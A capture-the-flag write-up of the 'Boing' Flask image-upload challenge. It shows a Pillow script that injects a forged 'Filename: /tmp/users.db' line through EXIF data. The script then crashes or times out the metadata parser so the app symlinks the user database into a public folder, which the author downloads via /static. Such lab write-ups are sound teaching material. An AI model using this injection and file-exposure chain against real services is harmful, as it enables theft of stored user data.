Boing [500 points] (1 solve)

This challenge gave us a flask server which allows you to create an account, upload images, and receive a metadata file with attributes of the image. The file `app.py` contains all of the server logic, while `compute.py` generates a metadata file (`.meta`) which is generated from whatever image you upload.

The Attack Vector

We can see in `pages/index.html` that the image's score in the metadata needs to be over 100,000 to get the flag:

```
...
<p>
    <a href="/get/{{ file }}">{{ file }}</a> (<a href="/get/{{ file }}.meta">META<
    {% if score > 100_000 %}
        SCORE: {{ score }} (🔥) {{ flag }}
    {% else %}
        SCORE: {{ score }}
    {% endif %}
</p>
...
```

Yet, after taking a look at how the score is calculated:

```
score = math.log(len(faces) * contrast * area + 1)
fout.write('Score: %f\n' % score)
fout.flush()
```

We can see that this is impossible.

Since the score is calculated by taking the natural logarithm of the product of the amount of faces in the image, the contrast in the image, and the area of the image, the combined value of all of these factors would need to be greater than e^100,000. For obvious reasons this attack vector isn't feasible —especially when considering the 10kbs upload limit.

The Real Exploit

The real attack vector originates in `app.py` .

After you've uploaded an image, `compute.py` is ran immediately as a subprocess:

```
    output_file = fpath + '.meta'
    cmd = ['python3', 'compute.py', fpath, output_file]
    subprocess.run(cmd, timeout=1)
```

The algorithm in `compute.py` creates the metadata, calculates the image's score and adds the filename to the end of the file.

```
== metadata ==
Faces: 5
Contrast: 0.100000
Area: 320120
Score:  5.204282
ImageDescription: This is my custom exif data!
Timestamp: Thu Nov 21 16:25:53 2024
Filename: c14a81fd86e74c9ee75a3e96c5935ee3.jpg
== end ==
```

The interesting part of this metadata file is that the filename at the bottom of the metadata is used to symlink files from the `/tmp` directory to the `./static` directory in the project directory:

```
@app.route('/process', methods=['GET', 'POST'])
def process_file():
    ...
    with open(abs_file_path, 'r') as f:
        metadata_file = None
        for line in f:
            if line.startswith('Filename: '):
                metadata_file = line.split(': ')[1].strip()
    ...
    new_file_path = os.path.join(user_static_dir, os.path.basename(metadata_file))
    os.symlink(original_file_path, new_file_path)
    new_meta_file_path = os.path.join(user_static_dir, os.path.basename(metadata_file)
    os.symlink(abs_file_path, new_meta_file_path)
```

So, if we could craft malicious EXIF data to insert a different another filename into the metadata file, we could theoretically symlink any file into the user's static directory.

The biggest problem with this is the lack of a base case; the `for` loop never ends. Thus, the last filename in the metadata is the one that's used to symlink to. This is a bit problem, but we'll touch on this later. For now, we know that we could potentially symlink something useful to our static directory.

And aren't we in luck. The flag is inserted into the database when the web challenge starts up:

```
if __name__ == '__main__':
    ...
    if not c.fetchone():
        c.execute('INSERT INTO users VALUES ("flagflagflagflag", "flag", ?)', ('ictf{f
```

Meaning that stealing the sqlite database in `/tmp/users.db` is the most plausible way to get the flag.

Execution

Now we'll address the problem from earlier; how do you force one of the lines you insert into the EXIF data to be the last line in the file when the last thing that the `compute.py` file does is set the filename?

compute.py:

```
...
fout.write('Timestamp: %s\n' % time.ctime())
fout.write('Filename: %s\n' % os.path.basename(input_file))
fout.write('== end ==\n')

print('Done')

fout.close()
```

We'll need to somehow break out of this script before it has the opportunity to reach the end.

Using this knowledge, this script was created:

```
from PIL import Image

IMAGE_DESC = 0x010E
USER_COMMENT = 0x9286

input_file = "./input.jpg"
output_file = "./output.jpg"
```

```
desc_payload = "\n\nFilename: /tmp/users.db"  # symlink to users.db
comment_payload = b'\x80' # crash when reading user comment

image = Image.open(input_file)
exif = image.getexif()
exif[IMAGE_DESC] = desc_payload
exif[USER_COMMENT] = comment_payload

image.save(output_file, exif=exif)
```

Since we know we need our malicious filename tag to be the last one in the metadata file, we're taking advantage of invalid UTF-8 sequences to crash the program before compute.py can insert the original filename into the metadata. This code contains a payload with the byte `\x80` —a continuation byte in UTF-8 encoding. Continuation bytes (10xxxxxx) are used in multi-byte sequences and must follow a valid leading byte, which specifies the structure and length of the character. By starting with a continuation byte instead of a valid leading byte, we deliberately create an invalid UTF-8 sequence, causing Python to throw a decoding error when it attempts to process these bytes.

This is what happens in `compute.py` when it tries to process our malicious JPG:

```
solution $ python3 compute.py
...
Reading User Comment: b'\x80'
Traceback (most recent call last):
  File "~/iCTF/boing/compute.py", line 52, in <module>
    value = value.decode()
            ^^^^^^^^^^^^^^
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start 
```

And this is the metadata output from `compute.py` :

```
solution $ cat output_metadata.txt
== metadata ==
Faces: 1
Contrast: 0.9
Area: 100000
Score: 9.0
ImageDescription:

Filename: /tmp/users.db <--- last filename tag in the file is from our exif data
```

To summarize, we've created a `.jpg` which will crash `compute.py` early, meaning that the the path we control (`/tmp/users.db`) is the last filename in the metadata file. Given that `app.py` reads the last `Filename:` metadata tag, the server will now correctly symlink `/tmp/users.db` into our `static` directory.

Intended solution

As cool as this is, using invalid Unicode bytes wasn't the intended solution. If you look in `main.py` :

```
def compute_metadata(fpath):
    output_file = fpath + '.meta'
    cmd = ['python3', 'compute.py', fpath, output_file]
    subprocess.run(cmd, timeout=1) # 1 second timeout isn't enough to parse long regex
```

The `compute.py` is ran with a timeout of 1 second. Yet, `compute.py` parses the UserComment EXIF data with regex which can take > 3 seconds even with really small input. Here's the problem author @p_nack's example of timing out the regex:

```
from PIL import Image
from PIL.ExifTags import TAGS

image = Image.new('RGB', (1, 1))
exif = image.getexif()
reverse_tags = {v: k for k, v in TAGS.items()}

exif[reverse_tags['UserComment']] = b'USER=foo:111231111111111111111111111111111111111

img_out_fname = os.path.dirname(__file__) + '/img_out.jpg'
image.save(img_out_fname, exif=exif)

print(f'Image saved to {img_out_fname}')
```

This solution means that the `compute.py` script times out before it's able to add the filename.

Regardless, both of our scripts achieve the same final result of setting a custom value to symlink from in the `Filename:` metadata tag.

Stealing the Database

For us, that was the easy part. We could symlink `users.db` into our static folder, but no matter what we tried, we couldn't access the `users.db` file.

The chief source of agony is located in this code:

```
@app.route('/get/<file_name>')
def get_file(file_name):
    if not is_jpg_ext(file_name) and not file_name.endswith('.meta'):
        return 'Invalid file extension', 400

    user_static_dir = os.path.join(STATIC_DIR, str(session['user_id']))
    fpath = os.path.join(user_static_dir, file_name)
    return app.send_static_file(os.path.join(str(session['user_id']), file_name))
```

This is the code that is used to serve static files, and is characterized by extension validation. This thwarts any attempts at `GET` ing the database, and even though we tried injecting lots of weird characters between the extension and the `users.db` in the request to `/get/users.db` , the URI Encoding on the characters meant that nothing would change the fact that only `.jpg` and `.meta` extensions could be requested from `/get` .

This is where the 10 point hint comes in:

https://www.geeksforgeeks.org/how-to-serve-static-files-in-flask/

Since this hint is the cheapest, it's a link to a(n incredibly unhelpful) GeeksforGeeks article. I was incredibly confused, and didn't understand the purpose of this as a hint. Yet, the answer is revealed as early as the first HTML sample in the article:

```
<html>
<head>
    <title>Flask Static Demo</title>
    <link rel="stylesheet" href="/static/style.css" />
</head>
<body>
    <h1>{{message}}</h1>
</body>
</html>
```

Did you catch that? Yup, the CSS file is loaded through `/static` . Instead of going through the `/get` endpoint, we can simply query `/static/USER_ID/users.db` to steal the database and the flag.

To grab my session id, I grabbed the session cookie, which looked something like this:

```
session: eyJ1c2VyX2lkIjoiYzcyZDdkNzRiYjQxNWRjNTBhMDNjOGQ3ZDZkNDQ4NWMiLCJ1c2VybmFtZSI6I
```

Running this cookie through a Flask session ID decoder allowed us to get the user_id: https://

www.kirsle.net/wizards/flask-session.cgi

Which resulted in something like this JSON:

```
{
    "user_id": "c72d7d74bb415dc50a03c8d7d6d4485c",
    "username": "test"
}
```

We can finally grab the database by downloading it from the URL `/static/c72d7d74bb415dc50a03c8d7d6d4485c/users.db`.

Ultimately, the flag is in plaintext in the database.

```
ictf{b01ng_b01ng_U_g0t_me}
```

Conclusion

This challenge was wild. Not only was it the hardest challenge to be complete by a High School team, but it was only solved by 4/27 undergraduate teams.

Also, over the course of this challenge, I exclusively registered and used two accounts: test:test and admin:admin. The JPG containing the EXIF payload was uploaded under the test account. On the final day, two different teams logged into the system and discovered the JPGs I had uploaded (I only know this because they each contacted me about this). If either team had examined the EXIF data in any of the JPGs, they would have uncovered at least half of the solution. Fortunately, neither of them noticed.

Final image payload